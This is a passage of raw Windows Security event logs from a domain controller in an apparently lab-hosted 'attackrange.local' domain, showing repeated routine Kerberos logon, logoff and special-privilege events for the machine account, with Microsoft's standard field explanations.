The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248720
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC263A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248719
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC25CB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248718
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC25CB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64010

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248717
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC25CB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248740
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC2F42

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248739
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC2F42
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64017

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248738
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC2F42

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248737
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC2EE1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248736
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC2EE1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64016

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248735
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC2EE1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248734
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC2E7B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248733
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC2E7B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64015

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248732
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC2E7B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248731
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC2E1A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248730
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC2E1A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64014

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248729
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC2E1A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248752
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC30E3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248751
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC30E3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64021

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248750
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC30E3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248749
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3082

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248748
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC3082
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64020

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248747
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3082

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248746
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC301C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248745
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC301C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64019

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248744
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC301C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248743
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC2FBB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248742
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC2FBB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64018

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248741
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC2FBB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
